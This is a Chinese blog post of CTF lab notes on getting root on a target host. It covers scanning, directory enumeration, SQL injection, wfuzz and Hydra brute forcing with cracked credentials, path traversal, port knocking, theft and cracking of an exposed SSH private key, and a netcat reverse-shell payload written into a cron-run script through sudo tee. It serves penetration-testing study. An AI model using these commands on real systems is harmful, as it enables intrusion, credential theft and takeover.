CTF_攻击目标主机获取root权限及flag全流程分析详解

一、主机发现

  1、nmap -sP 192.168.178.1/24     //ping扫描C段 
  2、arp-scan -l                          //感觉快一点
  3、netdiscover -p
 

二、端口扫描

1、nmap  -p 1-65535 -A 192.168.178.133  
      nmap -sV  靶场IP           //探测开放的服务和服务的版本
      nmap -A -V  靶场IP        //探测靶场的全部信息
      nmap -O 靶场IP            //探测靶场的操作系统类型与版本

2、masscan --rate 10000 -p 1-65535 靶场IP         //快速扫描

 

 

      nmap -p22,31337 -sV -A            //针对快速扫描发现的服务进行详细信息扫描

 

 3、目录枚举及文件查看

      dirb  http://192.168.x.x:80             //目录扫描(枚举)

      curl  http://192.168.x.x:31337/.ssh/id_rsa                     //查看某个路径下文件获取信息

 

三、利用80或者其他端口登录到一个web后

        1、查看源码(f12)

        2、有登录界面

         (1)判断是否存在sql注入(通过(‘ or 1=1 --+)万能公式),存在跑sqlmap

                  1)利用kali攻击机

                可参见:https://www.cnblogs.com/boomomg/p/16596957.html

       (2)暴力破解(burnsuite)

       (3)暴力破解(fuzz工具)    

                   场景1:

                         查询表中数据,发现大量用户及密码的表格

                         将表中用户名密码复制到notepad++,按ALT键复制用户名密码每列的数据到notepad并使用替换空格去掉空格保存为pass-dict,user-dict字典

                         使用fuzz爆破——通过上述两个字典

                         wfuzz -z file,user-dict -z file,pass-dict "http://192.168.142.139/manage.php?username=FUZZ&password=FUZ2Z"

                         wfuzz -z file,user-dict -z file,pass-dict --hw 87 "http://192.168.142.139/manage.php?username=FUZZ&password=FUZ2Z"   //加--hw 87过滤相同内容

        3、登录后或者无登录界面

            ( 1)存在利用FUZZ获取参数名
                       场景1:
                       wfuzz -w /usr/share/wfuzz/wordlist/genrual/commom.txt  http://192.168.178.133/index.php?FUZZ
                       wfuzz -C -w /usr/share/wfuzz/wordlist/genrual/commom.txt  --hw 12 http://192.168.178.133/index.php?FUZZ   //获取fuzz参数为file
                       curl http://192.168.178.133/index.php?file=location.txt   ——》获取真实参数secrettier360
          (2)存在文件包含漏洞
                       场景1:curl http://192.168.178.133/index.php?file=location.txt           
                    场景2: http://192.168.178.133/index.php?file=../../../../../../../../../etc/passwd       //再当前目录下去查看/etc/passwd文件,但不知到当前目录再那个界面         
     未完待续。。。
 
 

四、SSH服务(22端口)

(一)、如何登录

        1、口令认证登录

                   1)   ssh simon@192.168.195.183 ——输入密码:                          //信息收集到用户名密码直接登录

                    2)使用Hydra对SSH用户名、密码进行暴力破解

                     场景1:

                     hydra暴力破解SSH用户名密码:

hydra -L user-dict -P pass-dict 192.168.178.135 ssh
或者hydra -L user-dict -P pass-dict ssh://192.168.178.135

得到:
[22][ssh] host: 192.168.178.135 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.178.135 login: janitor password: Ilovepeepee

      

        2、密钥认证登录

             场景1:目标:利用id_rsa私钥登录到目标服务器

                   1)利用目录扫描发现三个文件:   

                            id_rsa                            //私钥,     

                           authorized_keys          //公钥数据库文件集(可存储多个目标的公钥信息) 

                            id_rsa.pub                    //公钥

                   2)利用authorized_keys获取用户名

                             wget http://192.168.195.138:31337/.ssh/authorized_keys     

                            cat authorized_keys   //通过authorized_keys文件发现用户为simon

                   3)利用id_rsa登录目标用户

                          wget http://192.168.195.138:31337/.ssh/id_rsa            //wget下载目标文件

                           chmod 600 id_rsa              //id_rsa密钥文件权限只能为600

                           ssh -i id_rsa simon@192.168.195.183     //登录提示输入密码,怎么办??(注意:id_rsa为目标服务器密钥)

                    4)利用John破解私钥保护密码

                          a、利用子工具ssh2john.py转换为john the ripper可识别的哈希格式

                            locate     ssh2john.py         //定位ssh2john.py文件路径

                             /usr/share/john/ssh2john.py  id_rsa > ctf.hash

                       b、利用john破解

                            john  ctf.hash          //破解

                             john  ctf.hash  --show      //查看私钥密码为starwars

       

(二)、22服务端口被过滤

            1)防火墙或者用户限制登录

            2)存在端口敲门服务knockd.conf

                场景1:目标:获取端口22的访问权限 

                  a、 判断是否为端口敲门

                     nmap -p22 192.168.178.135

                                PORT STATE SERVICE
                               22/tcp filtered ssh
                               80/tcp open http

                    http://192.168.178.135/manage.php?file=../../../../../../../../../etc/knockd.conf                 

 [options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j       ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn

              b、依次使用如下命令对各个端口进行敲门,打开22服务

nc -nv 192.168.178.135 7469
nc -nv 192.168.178.135 8475
nc -nv 192.168.178.135 9842

或者
nmap -p 7469 192.168.178.135
nmap -p 8475 192.168.178.135
nmap -p 9842 192.168.178.135

                nmap -P 22 192.168.178.135
                PORT STATE SERVICE
                22/tcp open ssh               //已经打开
                80/tcp open http

 

(三)、利用22端口通过ssh登录到某个用户后

              有以下信息挖掘方式:

                 1、whoami

                 2、uname -a

                 3、sysinfo

                 4、sudo -l

                 5、sudo su   ——输入密码

                 6、ls -a               //查看隐藏文件或目录,

                              如.ssh/id_rsa:

                             场景1:

                 

                  7、history

                  8、/etc/passwd

 

                  9、/tmp

                 10、/etc/crontab

心得:下边两个场景获得信息,要想获取某个用户(一般用户或者root用户),通过反弹shell执行目标用户具有权限的文件并监听,从而获取目标用户权限(包括msc)---------只要能触发执行,就能干shell盘它!!!

 第一种情况:目的是获取另一个用户权限

                 当前用户(通过crontab发现另一个用户具有计划任务自动执行某个文件,且当前用户没有该文件,)

               利用当前用户(创建该文件并将反弹shell写入此文件,利用反弹shell并开启监听获取到另一个用户的权限。)

 

来自:https://www.bilibili.com/video/BV1eq4y1x71H?p=10&spm_id_from=pageDriver&vd_source=a42355572f865b8eb799da280275502b

 

另一种场景:目的是获取root权限

               通过sudo -l  (发现tee文件【具有将一个文件{恶意脚本}写入另一个文件的功能】,

                                     同时另一个文件tidyup.sh内容说具有每三分钟自动运行一次的功能(相当于计划任务自动执行),

                                      由于当前用户也具有sudo的功能)

              所以通过tee命令将恶意代码  {nc -e /bin/bash  192.168.110.128 5555}写入到tidyup.sh等待三分钟执行,开启监听即可获得root权限

 

 

 来自:https://www.bilibili.com/video/BV1BL4y1w7ra?p=17&vd_source=a42355572f865b8eb799da280275502b

 

11、robots.txt

 

 

提权

1、内核版本提权
uname -a
cat /etc/*.release
sysinfo
2、利用SUID提权(4000)
(1)用普通用户去找具有4000权限的文件
find / -user root -perm -4000 -type f 2>/dev/null -exec ls -l {} \;
找到具有/home等目录下的一些文件,如果具有root用户执行权限,普通用户能够访问并直接执行即可得到root用户权限

posted @ 2022-08-20 01:36  boomohg  阅读(2072)  评论(0编辑  收藏  举报